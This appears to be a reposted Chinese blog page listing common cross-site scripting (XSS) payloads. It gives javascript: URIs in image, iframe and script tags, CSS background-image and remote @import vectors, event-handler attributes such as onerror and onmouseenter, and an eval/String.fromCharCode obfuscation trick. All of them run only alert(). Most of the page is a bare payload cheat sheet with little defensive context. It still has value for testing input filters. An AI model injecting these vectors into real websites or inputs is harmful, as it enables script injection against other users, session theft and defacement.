zoukankan      html  css  js  c++  java
  • 常见的javascript跨站

      

    第一类:

    <img src=javascript:alert() />

    <iframe src=javascript:alert()></iframe>

    <script src=javascript:alert()></script>

    第二类:

    <div style=background-image:url(javascript:alert())>

    <img style=background-image:url(javascript:alert())>

    <b style=background-image:url(javascript:alert())>

    用STYLE标签引用其他网站上的css文件

    <STYLE>@import'http://xxx.xom/xss.css';</STYLE>

    css文件里包含跨站程序

    body{

    background-image:url('javascript:alert();');
    }

    第三类:

    <table background=javascript:alert()></table>

    <body background=javascript:alert()></body>

    第四类:

    <div onmouseenter=alert()>鼠标进入本区域执行Javascript</div>

    <div onmouseleave=alert()>鼠标离开本区域执行Javascript</div>

    <div onmousewheel=alert()>鼠标在选区滚轮时执行Javascript</div>

    <div contentEditable="true" onfocusin=alert()>获得焦点执行Javascript</div>

    <div contentEditable="true" onfocusout=alert()>失去焦点执行Javascript</div>

    <marquee onstart=alert()>每次显示滚动内容执行Javascript</marquee>

    <img src="" onerror=alert('加载图片错误执行代码')>

    <img src="" onclick=alert('单击图片执行代码')>

    <img onmouseover=alert('鼠标经过图片执行代码')>

    <img style=background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,41)))>

    将要执行的代码“alert()”转换为十进制的ASCII码,其间用逗号隔开,再用String.fromCharCode解码,最后用eval执行

    还可以进行十六进制的处理:

    <img style=background-image:url(javascript:alert()>

  • 相关阅读:
    QT常用技巧--程序延时
    python中zip()函数的用法
    numpy.random.choice(a, size = None, replace = True, p = None)用法
    Python keras.layers .ZeroPadding2D() 详解
    Socat 入门笔记
    echo命令的使用
    Type Error('keyword argument not understood: ', 'interpolation') 解决方案
    Pytorch 包下载
    双边滤波Matlab代码
    hihocoder 第170周 Word Construction (dfs+剪枝)
  • 原文地址:https://www.cnblogs.com/zthua/p/3966716.html
Copyright © 2011-2022 走看看